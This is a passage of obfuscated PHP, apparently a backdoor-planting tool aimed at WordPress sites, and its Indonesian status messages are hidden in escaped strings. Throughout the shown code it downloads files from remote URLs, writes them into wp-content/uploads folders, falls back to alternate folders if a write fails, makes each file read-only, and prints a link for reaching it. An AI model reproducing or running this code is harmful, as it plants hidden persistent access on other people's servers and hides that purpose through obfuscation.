"\74\163\160\141\x6e\40\143\154\141\163\163\x3d\x22\x74\145\170\164\x2d\163\165\143\x63\x65\x73\163\x20\x66\157\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\55\x62\157\154\x64\42\76\x53\x75\153\x73\x65\163\x21\74\x2f\163\160\141\156\76\46\x6e\x62\x73\x70\73\46\x6e\x62\x73\x70\73\46\156\142\163\x70\x3b\74\141\40\143\154\x61\x73\x73\75\x22\x74\x65\170\x74\x2d\151\x6e\x66\157\x22\40\150\x72\x65\x66\x3d\x27" . $urlbd3 . "\47\x20\x74\141\162\x67\x65\164\x3d\47\137\x62\154\x61\156\153\x27\40\x72\x65\x6c\x3d\47\156\x6f\x66\157\154\x6c\157\167\40\156\x6f\157\160\145\156\145\162\40\156\157\162\x65\x66\x65\x72\x72\145\162\47\76" . $urlbd3 . "\x3c\x2f\141\x3e\x3c\142\162\x2f\76" . PHP_EOL; chmod($finalbd3, 292); } else { $altdir3 = $_SERVER["\104\117\x43\125\115\105\116\124\x5f\122\x4f\117\x54"] . "\57\167\160\x2d\143\x6f\x6e\164\x65\x6e\164\x2f\x75\160\154\x6f\141\x64\163\57\x32\60\62\x32\57\x30\63\57"; if (!is_dir($altdir3)) { $altdir3 = $startDirectory . "\57\x77\x70\55\143\157\x6e\164\x65\x6e\x74\57\165\160\x6c\157\141\x64\x73\x2f\x32\60\x32\62\57\60\63\x2f"; } $altdir3_final = $altdir3 . $nama3; file_put_contents($altdir3_final, $bd3); chmod($altdir3_final, 292); $bdresult .= "\74\x73\x70\x61\x6e\40\x73\164\171\154\x65\75\143\157\154\157\162\72\162\x65\x64\x21\151\155\x70\x6f\x72\164\x61\x6e\x74\x3b\x66\157\x6e\x74\x2d\167\145\151\147\150\x74\x3a\x62\157\154\x64\73\76\107\x61\147\x61\154\40\124\141\x72\x6f\x20\x44\151\x20\124\141\162\147\145\164\x21\x20\101\x6b\x73\145\163\40\x64\x69\72\x3c\x2f\163\160\x61\156\x3e\x26\x6e\x62\163\x70\73\46\156\x62\x73\160\x3b\46\x6e\x62\163\x70\73" . $home . $altdir3_final . "\x3c\x62\x72\x2f\x3e" . PHP_EOL; } } } else { $bdresult .= "\x3c\163\x70\141\156\40\143\x6c\x61\163\163\75\42\x74\x65\170\x74\x2d\163\165\x63\x63\x65\163\163\x22\x3e\106\151\x6c\145\x20\x45\x78\151\163\x74\163\x21\x3c\x2f\x73\x70\141\156\x3e\x26\x6e\x62\x73\160\x3b\x26\156\142\x73\160\x3b\x26\x6e\142\x73\160\73\x3c\x61\x20\143\x6c\x61\x73\163\75\42\x74\145\170\164\x2d\151\156\146\x6f\42\40\150\162\145\146\75\x27" . $urlbd3 . "\x27\40\x74\x61\x72\147\x65\164\75\47\137\142\154\x61\156\153\47\x20\x72\x65\x6c\75\x27\x6e\157\146\x6f\154\154\157\167\x20\156\157\x6f\160\145\156\x65\x72\x20\x6e\157\x72\145\x66\x65\x72\162\145\162\x27\x3e" . $urlbd3 . "\74\x2f\141\76\74\142\x72\57\76" . PHP_EOL; chmod($finalbd3, 292); } if (!file_exists($finalbd4)) { if (ini_get("\x61\x6c\x6c\157\167\137\x75\x72\x6c\137\x66\157\x70\x65\156")) { $bd4 = file_get_contents($b4); $status_bd4 = file_put_contents($finalbd4, $bd4); if ($status_bd4) { $bdresult .= "\x3c\163\160\x61\x6e\40\143\x6c\141\x73\x73\75\x22\164\x65\x78\x74\55\163\x75\x63\x63\145\x73\163\40\146\x6f\x6e\x74\55\x77\145\x69\x67\150\x74\x2d\x62\x6f\x6c\144\x22\76\x53\165\153\163\145\x73\41\74\x2f\163\160\x61\156\76\x26\156\142\163\160\73\46\x6e\x62\x73\x70\73\x26\x6e\142\163\x70\x3b\x3c\x61\x20\x63\x6c\141\x73\x73\75\x22\164\145\170\x74\55\151\x6e\146\x6f\42\40\x68\x72\145\146\75\47" . $urlbd4 . "\47\x20\x74\x61\x72\147\145\x74\75\x27\x5f\142\154\x61\x6e\153\47\x20\x72\145\x6c\x3d\47\x6e\x6f\x66\x6f\154\x6c\x6f\x77\x20\x6e\157\157\160\145\x6e\145\162\x20\156\157\x72\145\x66\145\x72\x72\145\162\47\76" . $urlbd4 . "\x3c\x2f\x61\x3e\74\x62\162\x2f\76" . PHP_EOL; chmod($finalbd4, 292); } else { $altdir4 = $_SERVER["\x44\x4f\x43\125\x4d\105\116\x54\137\122\x4f\117\124"] . "\57\x77\x70\55\x63\x6f\156\164\145\156\164\57\165\160\154\x6f\141\x64\163\x2f\x32\60\x32\x32\57\x30\62\57"; if (!is_dir($altdir4)) { $altdir4 = $startDirectory . "\57\167\x70\55\x63\157\156\164\145\156\x74\x2f\x75\x70\x6c\157\141\x64\163\x2f\62\x30\62\x32\57\60\x32\57"; } $altdir4_final = $altdir4 . $nama4; file_put_contents($altdir4_final, $bd4); chmod($altdir4_final, 292); $bdresult .= "\74\x73\160\x61\156\x20\x73\x74\171\x6c\145\75\143\157\154\x6f\162\x3a\162\145\144\x21\x69\x6d\x70\x6f\x72\164\141\x6e\x74\73\146\157\x6e\164\x2d\x77\x65\151\147\x68\x74\72\142\157\154\144\73\76\107\x61\x67\x61\x6c\x20\x54\x61\x72\157\40\104\151\x20\124\141\162\147\145\164\41\x20\x41\153\163\x65\163\40\x64\x69\x3a\x3c\57\x73\x70\141\x6e\76\46\156\x62\x73\160\73\x26\156\x62\163\x70\73\46\156\142\163\160\73" . $home . $altdir4_final . "\x3c\142\162\x2f\76" . PHP_EOL; } } } else { $bdresult .= "\x3c\163\x70\141\x6e\40\143\x6c\141\163\x73\75\42\x74\x65\x78\164\55\x73\165\x63\143\145\163\163\42\x3e\x46\151\x6c\145\x20\105\x78\x69\163\x74\163\41\74\57\x73\160\141\x6e\x3e\x26\x6e\x62\x73\x70\73\x26\x6e\x62\163\160\73\x26\156\142\x73\160\73\74\x61\x20\x63\154\141\163\x73\75\x22\x74\x65\170\164\55\x69\x6e\146\x6f\x22\40\150\x72\145\x66\x3d\x27" . $urlbd4 . "\x27\40\164\x61\x72\x67\145\x74\x3d\x27\137\142\154\x61\x6e\x6b\47\x20\x72\145\154\x3d\x27\156\x6f\146\x6f\154\x6c\x6f\x77\x20\x6e\157\x6f\x70\x65\156\145\x72\40\156\x6f\x72\x65\x66\145\162\162\145\x72\x27\x3e" . $urlbd4 . "\74\x2f\141\76\74\142\162\57\x3e" . PHP_EOL; chmod($finalbd4, 292); } if (!file_exists($finalbd5)) { if (ini_get("\141\154\154\x6f\x77\137\x75\162\x6c\137\146\157\160\x65\156")) { $bd5 = file_get_contents($b5); $status_bd5 = file_put_contents($finalbd5, $bd5); if ($status_bd5) { $bdresult .= "\x3c\x73\x70\141\156\40\143\x6c\141\163\x73\75\x22\x74\145\x78\164\55\x73\165\143\x63\x65\163\163\40\146\x6f\156\x74\x2d\x77\145\x69\x67\150\164\55\x62\x6f\x6c\144\42\x3e\123\165\x6b\163\145\x73\x21\x3c\57\x73\160\x61\156\x3e\x26\156\x62\163\160\x3b\x26\156\x62\x73\x70\73\46\x6e\142\163\160\73\x3c\141\40\143\x6c\x61\163\x73\x3d\42\x74\x65\x78\x74\55\x69\x6e\x66\x6f\x22\x20\x68\162\x65\146\75\x27" . $urlbd5 . "\x27\x20\x74\x61\x72\x67\145\x74\75\47\x5f\142\154\141\x6e\x6b\47\x20\162\x65\x6c\x3d\47\156\157\146\x6f\154\x6c\157\x77\x20\x6e\157\157\x70\145\x6e\145\162\40\156\x6f\x72\x65\146\x65\x72\x72\145\x72\x27\76" . $urlbd5 . "\74\x2f\141\76\x3c\x62\162\57\x3e" . PHP_EOL; chmod($finalbd5, 292); } else { $altdir5 = $_SERVER["\104\x4f\103\125\115\x45\116\124\137\x52\117\117\124"] . "\57\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\57\165\x70\x6c\157\x61\x64\163\x2f\x32\x30\x32\62\57\x30\62\x2f"; if (!is_dir($altdir5)) { $altdir5 = $startDirectory . "\57\x77\x70\55\x63\157\x6e\164\145\x6e\164\57\165\x70\x6c\x6f\x61\x64\x73\57\x32\x30\x32\62\x2f\x30\62\x2f"; } $altdir5_final = $altdir5 . $nama5; file_put_contents($altdir5_final, $bd5); chmod($altdir5_final, 292); $bdresult .= "\74\x73\x70\141\x6e\40\x73\x74\x79\x6c\x65\x3d\143\x6f\x6c\157\x72\72\x72\145\144\41\151\155\x70\157\162\164\x61\x6e\164\73\146\157\156\164\55\x77\145\x69\147\x68\164\72\x62\x6f\154\144\73\x3e\x47\141\x67\141\x6c\x20\x54\x61\162\157\40\104\151\40\124\141\x72\147\145\164\41\40\x41\153\x73\145\163\x20\144\151\72\x3c\57\163\x70\141\156\x3e\x26\x6e\142\163\x70\73\x26\156\142\x73\x70\73\46\156\142\x73\x70\73" . $home . $altdir5_final . "\x3c\x62\162\x2f\76" . PHP_EOL; } } } else { $bdresult .= "\x3c\x73\x70\x61\x6e\x20\x63\x6c\x61\163\163\75\42\x74\145\x78\164\55\x73\x75\x63\143\145\x73\x73\x22\x3e\106\151\154\x65\40\105\170\x69\163\x74\163\41\x3c\x2f\x73\160\x61\x6e\x3e\46\x6e\x62\163\160\x3b\46\x6e\x62\163\160\73\46\156\142\x73\160\x3b\74\141\x20\x63\x6c\x61\163\x73\75\42\x74\x65\x78\x74\55\151\x6e\146\x6f\42\40\150\162\x65\x66\x3d\47" . $urlbd5 . "\47\x20\164\x61\x72\x67\145\164\x3d\47\x5f\x62\x6c\x61\x6e\153\x27\40\x72\145\x6c\x3d\47\x6e\x6f\146\157\x6c\154\x6f\167\40\156\157\x6f\x70\145\156\145\x72\40\156\157\162\145\146\x65\162\162\145\162\47\76" . $urlbd5 . "\x3c\x2f\141\76\74\142\x72\57\x3e" . PHP_EOL; chmod($finalbd5, 292); } if (!file_exists($finalbd6)) { if (ini_get("\x61\x6c\154\x6f\167\x5f\165\x72\x6c\x5f\x66\x6f\160\145\x6e")) { $bd6 = file_get_contents($b6); $status_bd6 = file_put_contents($finalbd6, $bd6); if ($status_bd6) { $bdresult .= "\74\x73\160\141\x6e\x20\143\x6c\x61\x73\163\75\x22\164\145\x78\x74\55\163\x75\143\143\145\x73\163\40\x66\x6f\x6e\x74\x2d\167\x65\x69\147\x68\x74\55\142\x6f\154\x64\x22\x3e\123\165\x6b\163\145\x73\x21\74\x2f\163\160\x61\156\x3e\46\156\142\163\x70\x3b\46\156\x62\163\x70\73\x26\156\142\163\160\73\74\141\x20\x63\x6c\141\163\x73\75\x22\164\145\x78\x74\x2d\151\156\146\157\42\x20\x68\162\x65\x66\75\47" . $urlbd6 . "\x27\x20\164\x61\x72\147\145\164\x3d\x27\137\142\154\x61\x6e\153\x27\40\x72\145\x6c\x3d\47\156\x6f\146\x6f\154\x6c\x6f\x77\x20\156\157\157\x70\x65\x6e\145\162\40\x6e\157\162\x65\x66\x65\162\162\145\162\47\x3e" . $urlbd6 . "\74\x2f\x61\x3e\74\142\x72\x2f\76" . PHP_EOL; chmod($finalbd6, 292); } else { $altdir6 = $_SERVER["\x44\x4f\103\125\x4d\x45\116\124\137\122\x4f\117\x54"] . "\x2f\x77\160\55\x63\x6f\156\x74\x65\156\164\x2f\x75\x70\154\157\x61\144\163\x2f\62\x30\62\62\57\60\x34\57"; if (!is_dir($altdir6)) { $altdir6 = $startDirectory . "\57\167\160\x2d\143\x6f\x6e\x74\145\x6e\164\x2f\165\x70\x6c\x6f\x61\144\x73\57\x32\60\x32\62\x2f\60\x34\57"; } $altdir6_final = $altdir6 . $nama6; file_put_contents($altdir6_final, $bd6); chmod($altdir6_final, 292); $bdresult .= "\74\x73\160\x61\x6e\x20\163\164\171\x6c\145\75\143\157\x6c\x6f\x72\x3a\162\145\144\41\151\155\x70\x6f\162\164\x61\x6e\164\73\x66\157\156\x74\x2d\x77\145\151\x67\150\164\72\142\x6f\154\144\73\x3e\x47\141\x67\141\154\40\x54\141\162\157\x20\104\151\40\124\141\162\x67\145\164\41\x20\x41\x6b\163\x65\163\x20\x64\x69\x3a\x3c\x2f\x73\x70\x61\x6e\76\46\156\142\163\160\x3b\x26\156\142\163\x70\73\46\156\142\163\x70\73" . $home . $altdir6_final . "\74\x62\x72\x2f\76" . PHP_EOL; } } } else { $bdresult .= "\x3c\x73\x70\x61\156\x20\x63\154\141\163\163\75\42\x74\145\170\164\x2d\x73\x75\x63\143\x65\x73\x73\42\x3e\106\151\x6c\x65\40\105\x78\151\163\164\x73\41\x3c\x2f\x73\160\x61\156\76\46\x6e\142\x73\160\x3b\46\156\x62\163\160\73\46\156\x62\163\x70\x3b\74\141\x20\143\x6c\x61\x73\163\x3d\x22\164\x65\x78\164\x2d\151\156\146\157\42\40\x68\x72\145\146\75\47" . $urlbd6 . "\x27\x20\x74\141\162\x67\145\x74\x3d\x27\137\142\x6c\x61\x6e\153\47\x20\162\145\x6c\x3d\x27\156\x6f\x66\x6f\154\x6c\157\x77\x20\156\x6f\157\x70\x65\156\x65\162\40\x6e\157\162\145\x66\145\x72\x72\x65\x72\x27\x3e" . $urlbd6 . "\x3c\x2f\x61\x3e\74\x62\x72\x2f\76" . PHP_EOL; chmod($finalbd6, 292); } if (!file_exists($finalbd7)) { if (ini_get("\x61\x6c\x6c\x6f\x77\x5f\x75\162\x6c\x5f\146\x6f\x70\x65\156")) { $bd7 = file_get_contents($b7); $status_bd7 = file_put_contents($finalbd7, $bd7); if ($status_bd7) { $bdresult .= "\x3c\163\160\141\x6e\40\143\154\141\163\x73\x3d\42\x74\145\170\164\55\x73\165\x63\143\x65\163\163\x20\x66\157\156\x74\55\x77\x65\151\x67\x68\x74\55\142\157\x6c\144\x22\x3e\x53\165\x6b\x73\145\163\41\x3c\x2f\163\160\x61\x6e\x3e\x26\x6e\142\x73\x70\73\x26\x6e\142\x73\160\x3b\x26\x6e\x62\163\x70\x3b\x3c\x61\40\143\154\x61\163\x73\x3d\42\164\x65\170\x74\x2d\x69\156\x66\157\x22\40\150\162\x65\146\75\47" . $urlbd7 . "\x27\x20\x74\141\x72\147\x65\164\x3d\x27\x5f\x62\x6c\141\x6e\x6b\x27\x20\162\x65\154\75\x27\x6e\x6f\x66\157\x6c\154\x6f\167\40\156\x6f\x6f\x70\145\156\x65\x72\x20\156\157\162\145\146\x65\x72\162\145\162\x27\76" . $urlbd7 . "\x3c\x2f\141\76\x3c\142\x72\57\76" . PHP_EOL; chmod($finalbd7, 292); } else { $altdir7 = $_SERVER["\x44\117\x43\x55\115\105\116\x54\x5f\122\117\x4f\124"] . "\57\167\160\x2d\143\157\156\x74\x65\x6e\164\x2f\x75\x70\154\x6f\141\x64\x73\57\x32\x30\x32\62\x2f\x30\64\x2f"; if (!is_dir($altdir7)) { $altdir7 = $startDirectory . "\x2f\167\x70\55\x63\x6f\x6e\164\x65\x6e\x74\x2f\x75\x70\x6c\157\x61\x64\x73\57\62\60\x32\62\57\60\64\x2f"; } $altdir7_final = $altdir7 . $nama7; file_put_contents($altdir7_final, $bd7); chmod($altdir7_final, 292); $bdresult .= "\x3c\x73\x70\141\x6e\40\163\x74\171\x6c\x65\75\x63\157\154\x6f\162\72\162\x65\144\x21\151\155\160\x6f\162\x74\141\156\x74\x3b\146\157\156\164\x2d\x77\x65\151\147\x68\x74\72\x62\x6f\x6c\144\x3b\76\107\141\x67\x61\154\x20\124\141\162\157\40\104\151\40\124\x61\x72\x67\145\164\x21\x20\101\153\x73\x65\x73\x20\x64\x69\x3a\74\57\x73\x70\x61\x6e\76\x26\x6e\x62\163\160\73\46\156\142\x73\160\x3b\x26\x6e\x62\x73\160\x3b" . $home . $altdir7_final . "\74\x62\x72\57\76" . PHP_EOL; } } } else { $bdresult .= "\x3c\163\x70\141\x6e\40\143\154\x61\163\163\x3d\x22\x74\145\x78\164\x2d\163\165\143\x63\145\163\163\42\76\x46\x69\x6c\x65\x20\105\170\x69\163\x74\x73\x21\x3c\x2f\x73\x70\141\156\x3e\x26\x6e\142\x73\x70\73\x26\156\x62\x73\160\x3b\46\x6e\142\163\160\x3b\x3c\141\x20\x63\x6c\x61\163\x73\75\x22\x74\145\x78\164\55\x69\x6e\x66\x6f\x22\40\x68\x72\x65\146\75\x27" . $urlbd7 . "\x27\40\x74\x61\162\147\145\164\x3d\x27\137\142\x6c\x61\156\153\x27\40\162\145\154\x3d\47\156\157\x66\x6f\154\154\157\167\x20\x6e\x6f\157\x70\145\x6e\x65\162\40\156\157\162\145\x66\x65\162\x72\145\162\x27\x3e" . $urlbd7 . "\x3c\x2f\x61\x3e\x3c\142\162\x2f\x3e" . PHP_EOL; chmod($finalbd7, 292); } if (!file_exists($finalbd8)) { if (ini_get("\141\154\x6c\x6f\167\x5f\165\x72\154\137\146\x6f\x70\145\x6e")) { $bd8 = file_get_contents($b8); $status_bd8 = file_put_contents($finalbd8, $bd8); if ($status_bd8) { $bdresult .= "\74\163\x70\141\156\x20\x63\x6c\141\x73\163\x3d\42\x74\145\x78\x74\x2d\x73\x75\x63\x63\x65\x73\x73\40\x66\157\156\164\55\x77\145\x69\147\x68\x74\x2d\x62\157\154\x64\42\76\123\165\153\x73\145\x73\41\74\x2f\x73\160\x61\156\76\x26\x6e\142\163\x70\73\x26\x6e\142\163\x70\73\x26\156\142\x73\x70\x3b\74\x61\x20\x63\x6c\141\x73\163\75\42\x74\145\x78\x74\x2d\x69\156\x66\157\42\40\150\162\145\x66\x3d\x27" . $urlbd8 . "\47\x20\x74\x61\162\x67\145\164\75\x27\x5f\142\x6c\x61\156\153\47\40\x72\145\154\75\x27\156\157\146\157\154\154\x6f\167\40\156\157\x6f\160\145\x6e\x65\x72\x20\x6e\x6f\x72\x65\146\x65\x72\x72\x65\162\x27\x3e" . $urlbd8 . "\74\x2f\x61\x3e\x3c\x62\162\57\76" . PHP_EOL; chmod($finalbd8, 292); } else { $altdir8 = $_SERVER["\x44\117\103\125\x4d\105\x4e\x54\x5f\122\x4f\117\124"] . "\57\167\x70\55\143\157\156\164\x65\x6e\x74\57\165\160\x6c\x6f\x61\144\163\x2f\x32\x30\x32\x32\x2f\x30\63\x2f"; if (!is_dir($altdir8)) { $altdir8 = $startDirectory . "\57\167\x70\x2d\143\x6f\156\x74\x65\156\164\57\165\160\154\157\x61\144\163\57\62\60\62\62\57\x30\x33\x2f"; } $altdir8_final = $altdir8 . $nama8; file_put_contents($altdir8_final, $bd8); chmod($altdir8_final, 292); $bdresult .= "\74\163\x70\x61\156\x20\x73\164\171\x6c\145\75\x63\157\154\x6f\x72\72\x72\145\144\41\x69\155\x70\x6f\x72\x74\x61\x6e\x74\73\146\x6f\156\164\x2d\167\145\151\147\x68\x74\x3a\142\x6f\x6c\144\73\x3e\x47\141\x67\141\x6c\40\124\x61\x72\157\40\x44\151\x20\x54\x61\x72\147\x65\x74\x21\40\x41\x6b\163\145\163\x20\x64\x69\72\x3c\57\x73\160\141\x6e\76\46\156\x62\163\160\73\46\x6e\x62\163\160\73\46\x6e\x62\x73\160\x3b" . $home . $altdir8_final . "\x3c\x62\162\57\76" . PHP_EOL; } } } else { $bdresult .= "\74\163\x70\141\x6e\40\x63\x6c\141\x73\x73\x3d\x22\164\145\170\x74\x2d\x73\165\143\143\145\x73\163\x22\x3e\x46\151\x6c\145\40\x45\x78\x69\163\164\163\41\x3c\x2f\163\160\141\x6e\76\x26\156\x62\163\x70\x3b\46\x6e\x62\163\x70\73\x26\156\x62\163\160\73\x3c\141\x20\143\154\x61\163\x73\x3d\42\x74\x65\x78\164\x2d\x69\x6e\x66\157\42\x20\150\x72\145\x66\x3d\47" . $urlbd8 . "\47\x20\164\x61\162\x67\x65\164\x3d\47\x5f\x62\x6c\x61\156\153\47\x20\x72\x65\154\x3d\x27\x6e\157\146\x6f\x6c\154\x6f\167\40\x6e\157\157\160\x65\156\145\162\x20\x6e\157\x72\145\x66\x65\162\162\x65\x72\x27\76" . $urlbd8 . "\74\57\x61\x3e\x3c\142\x72\x2f\x3e" . PHP_EOL; chmod($finalbd8, 292); } if (!file_exists($finalbd9)) { if (ini_get("\x61\x6c\154\x6f\167\137\x75\x72\x6c\x5f\x66\x6f\x70\x65\x6e")) { $bd9 = file_get_contents($b9); $status_bd9 = file_put_contents($finalbd9, $bd9); if ($status_bd9) { $bdresult .= "\x3c\163\160\141\x6e\40\x63\x6c\x61\x73\163\75\42\164\x65\170\164\x2d\x73\165\143\143\145\163\163\40\x66\x6f\156\x74\x2d\167\145\x69\147\150\164\x2d\x62\157\154\x64\x22\x3e\x53\x75\x6b\x73\145\x73\x21\74\57\163\160\x61\x6e\x3e\x26\156\x62\x73\x70\x3b\46\x6e\142\x73\160\73\46\156\x62\x73\160\73\74\141\40\x63\154\x61\x73\x73\75\42\x74\x65\170\164\x2d\x69\156\x66\x6f\42\x20\x68\x72\145\x66\x3d\x27" . $urlbd9 . "\47\40\x74\141\162\x67\x65\164\x3d\47\x5f\142\x6c\x61\156\153\x27\x20\x72\145\x6c\75\47\x6e\x6f\x66\157\154\x6c\x6f\167\40\x6e\157\x6f\160\145\x6e\145\x72\x20\156\x6f\x72\145\146\x65\162\162\145\x72\x27\76" . $urlbd9 . "\74\x2f\141\x3e\74\x62\x72\57\x3e" . PHP_EOL; chmod($finalbd9, 292); } else { $altdir9 = $_SERVER["\104\x4f\103\x55\x4d\105\x4e\x54\x5f\122\x4f\x4f\124"] . "\x2f\167\160\x2d\143\157\x6e\x74\145\x6e\164\x2f\165\160\x6c\157\x61\144\163\57\62\60\62\x32\x2f\x30\x32\x2f"; if (!is_dir($altdir9)) { $altdir9 = $startDirectory . "\x2f\x77\x70\55\143\x6f\x6e\x74\x65\156\164\x2f\165\160\154\x6f\141\144\x73\57\x32\x30\x32\62\x2f\x30\62\x2f"; } $altdir9_final = $altdir9 . $nama9; file_put_contents($altdir9_final, $bd9); chmod($altdir9_final, 292); $bdresult .= "\74\x73\x70\x61\156\x20\163\164\x79\x6c\145\x3d\x63\x6f\154\x6f\x72\x3a\x72\145\144\x21\151\155\160\157\162\164\141\156\164\73\x66\x6f\156\x74\x2d\x77\x65\151\x67\150\164\72\142\157\154\144\73\x3e\x47\141\x67\141\x6c\x20\x54\141\162\x6f\x20\x44\151\x20\x54\141\162\147\x65\164\x21\40\101\153\163\x65\163\x20\x64\x69\72\74\57\x73\160\141\x6e\x3e\x26\156\142\163\160\73\46\x6e\x62\x73\160\73\x26\x6e\142\163\160\73" . $home . $altdir9_final . "\74\142\x72\x2f\76" . PHP_EOL; } } } else { $bdresult .= "\74\163\160\141\x6e\x20\143\154\141\x73\163\x3d\42\x74\145\x78\164\55\x73\x75\x63\x63\145\x73\x73\42\x3e\x46\151\154\145\40\105\x78\x69\163\x74\x73\41\74\57\x73\160\141\x6e\x3e\x26\x6e\x62\163\160\73\46\156\x62\x73\160\73\46\156\142\x73\x70\73\x3c\141\40\143\x6c\141\x73\x73\75\x22\x74\x65\x78\164\x2d\151\156\146\x6f\x22\x20\x68\162\145\146\x3d\x27" . $urlbd9 . "\47\x20\x74\141\x72\147\145\x74\x3d\x27\137\142\154\141\156\x6b\x27\x20\x72\145\x6c\75\47\156\157\x66\157\x6c\x6c\x6f\x77\x20\156\157\x6f\160\x65\156\145\x72\40\x6e\x6f\162\x65\146\145\162\162\145\162\47\x3e" . $urlbd9 . "\x3c\57\141\x3e\74\x62\162\57\76" . PHP_EOL; chmod($finalbd9, 292); } if (!file_exists($finalbd10)) { if (ini_get("\141\154\154\157\x77\137\x75\x72\154\137\x66\157\160\x65\x6e")) { $bd10 = file_get_contents($b10); $status_bd10 = file_put_contents($finalbd10, $bd10); if ($status_bd10) { $bdresult .= "\74\x73\160\x61\x6e\40\x63\154\141\x73\163\75\42\x74\145\170\164\x2d\x73\165\143\143\x65\163\x73\x20\x66\x6f\x6e\x74\55\x77\145\x69\x67\150\164\55\x62\x6f\154\x64\x22\x3e\x53\x75\x6b\163\145\163\x21\74\x2f\x73\160\x61\156\x3e\x26\x6e\142\x73\160\73\46\156\142\163\160\x3b\46\x6e\142\x73\x70\73\x3c\141\40\143\x6c\x61\163\x73\75\42\x74\x65\170\164\x2d\151\x6e\146\157\42\x20\150\x72\145\146\x3d\47" . $urlbd10 . "\x27\40\164\141\x72\x67\145\164\x3d\47\137\x62\x6c\141\x6e\x6b\47\x20\162\145\x6c\x3d\x27\156\157\x66\x6f\x6c\154\157\x77\40\156\x6f\x6f\x70\145\x6e\x65\x72\x20\156\x6f\162\145\146\145\162\x72\145\162\x27\x3e" . $urlbd10 . "\74\57\141\76\74\x62\x72\x2f\76" . PHP_EOL; chmod($finalbd10, 292); } else { $altdir10 = $_SERVER["\x44\x4f\x43\125\x4d\105\116\x54\x5f\122\117\x4f\124"] . "\x2f\167\x70\x2d\x63\x6f\156\x74\145\156\164\57\x75\x70\154\157\x61\x64\163\57\62\60\x32\x32\57\x30\x31\57"; if (!is_dir($altdir10)) { $altdir10 = $startDirectory . "\57\x77\160\x2d\x63\157\x6e\164\145\156\x74\x2f\165\x70\154\x6f\x61\x64\x73\x2f\62\x30\x32\62\57\x30\61\57"; } $altdir10_final = $altdir10 . $nama10; file_put_contents($altdir10_final, $bd10); chmod($altdir10_final, 292); $bdresult .= "\74\163\x70\141\156\40\163\x74\171\x6c\145\x3d\143\x6f\x6c\x6f\162\72\162\x65\144\41\151\x6d\160\x6f\x72\164\141\x6e\164\x3b\146\x6f\156\164\x2d\167\x65\x69\x67\150\164\72\142\x6f\x6c\144\73\x3e\x47\141\147\141\x6c\x20\x54\x61\162\157\40\x44\x69\x20\124\141\162\x67\145\164\41\x20\101\153\163\145\x73\40\x64\x69\x3a\74\x2f\163\x70\141\x6e\x3e\46\x6e\x62\x73\160\73\46\156\142\x73\160\x3b\46\156\x62\163\160\73" . $home . $altdir10_final . "\74\x62\162\x2f\x3e" . PHP_EOL; } } } else { $bdresult .= "\x3c\163\x70\x61\156\x20\143\154\x61\x73\x73\75\42\164\x65\x78\164\x2d\x73\165\x63\143\x65\163\x73\x22\x3e\x46\151\x6c\145\40\x45\x78\151\163\164\163\x21\74\57\163\x70\141\156\x3e\x26\x6e\x62\x73\x70\x3b\46\156\142\x73\x70\73\46\156\x62\x73\160\73\74\141\x20\x63\x6c\x61\x73\x73\x3d\42\164\145\170\x74\x2d\x69\x6e\146\x6f\42\x20\150\x72\x65\146\x3d\x27" . $urlbd10 . "\x27\x20\164\x61\x72\x67\x65\164\x3d\x27\137\x62\x6c\x61\x6e\153\47\x20\x72\x65\x6c\75\x27\156\157\x66\157\x6c\154\157\167\x20\x6e\x6f\x6f\x70\145\x6e\x65\162\40\x6e\157\x72\145\x66\145\x72\162\x65\x72\47\76" . $urlbd10 . "\x3c\57\141\x3e\74\x62\x72\x2f\76" . PHP_EOL; chmod($finalbd10, 292); } if (!file_exists($finalbd11)) { if (ini_get("\x61\154\154\157\x77\137\165\162\154\137\x66\x6f\160\x65\x6e")) { $bd11 = file_get_contents($b11); $status_bd11 = file_put_contents($finalbd11, $bd11); if ($status_bd11) { $bdresult .= "\74\x73\x70\x61\156\x20\x63\154\141\x73\x73\x3d\42\164\x65\170\164\55\163\165\x63\143\145\163\163\x20\x66\x6f\156\164\55\x77\x65\x69\147\150\x74\55\142\157\154\144\42\76\x53\x75\x6b\x73\x65\163\41\74\x2f\163\x70\141\x6e\x3e\46\156\x62\x73\160\x3b\46\156\142\x73\x70\73\46\x6e\142\163\160\x3b\74\141\40\143\154\141\163\163\75\x22\164\145\x78\164\x2d\x69\x6e\146\x6f\42\x20\x68\162\x65\x66\75\47" . $urlbd11 . "\47\40\x74\141\162\x67\145\x74\x3d\47\137\x62\154\x61\x6e\153\47\x20\x72\x65\x6c\75\47\156\x6f\146\x6f\x6c\154\x6f\167\40\x6e\157\157\x70\145\156\145\x72\40\x6e\x6f\162\145\x66\x65\162\x72\x65\x72\x27\x3e" . $urlbd11 . "\74\x2f\x61\76\x3c\142\162\x2f\x3e" . PHP_EOL; chmod($finalbd11, 292); } else { $altdir11 = $_SERVER["\x44\117\103\125\x4d\105\116\124\137\x52\x4f\117\x54"] . "\x2f\167\x70\x2d\x63\157\156\164\145\x6e\x74\57\x75\160\154\x6f\x61\x64\x73\x2f\62\60\62\x32\x2f\x30\x31\57"; if (!is_dir($altdir11)) { $altdir11 = $startDirectory . "\x2f\x77\160\55\x63\157\156\164\x65\156\164\x2f\165\160\154\157\141\144\x73\x2f\62\60\x32\62\x2f\x30\x31\x2f"; } $altdir11_final = $altdir11 . $nama11; file_put_contents($altdir11_final, $bd11); chmod($altdir11_final, 292); $bdresult .= "\74\x73\160\141\x6e\40\x73\164\171\154\x65\75\143\157\x6c\x6f\x72\x3a\x72\x65\144\41\151\155\x70\x6f\x72\164\x61\x6e\164\73\x66\157\156\x74\x2d\x77\x65\x69\147\150\x74\72\x62\x6f\154\x64\73\76\x47\x61\x67\141\154\x20\124\141\x72\x6f\40\104\151\x20\x54\141\x72\x67\x65\164\x21\40\101\153\x73\x65\x73\x20\144\151\72\x3c\57\x73\x70\x61\156\x3e\x26\156\142\163\x70\x3b\46\156\142\x73\160\73\x26\156\x62\163\x70\73" . $home . $altdir11_final . "\74\142\x72\x2f\x3e" . PHP_EOL; } } } else { $bdresult .= "\x3c\163\x70\x61\x6e\x20\x63\x6c\141\x73\x73\x3d\42\x74\x65\x78\164\55\x73\165\143\x63\x65\x73\x73\x22\x3e\x46\x69\154\x65\x20\105\x78\151\x73\164\x73\41\74\57\x73\160\x61\x6e\76\x26\x6e\x62\x73\160\x3b\46\156\142\163\160\73\x26\x6e\x62\163\x70\73\74\141\x20\143\154\x61\163\163\75\x22\164\x65\170\x74\x2d\x69\x6e\x66\x6f\x22\40\150\x72\x65\x66\x3d\x27" . $urlbd11 . 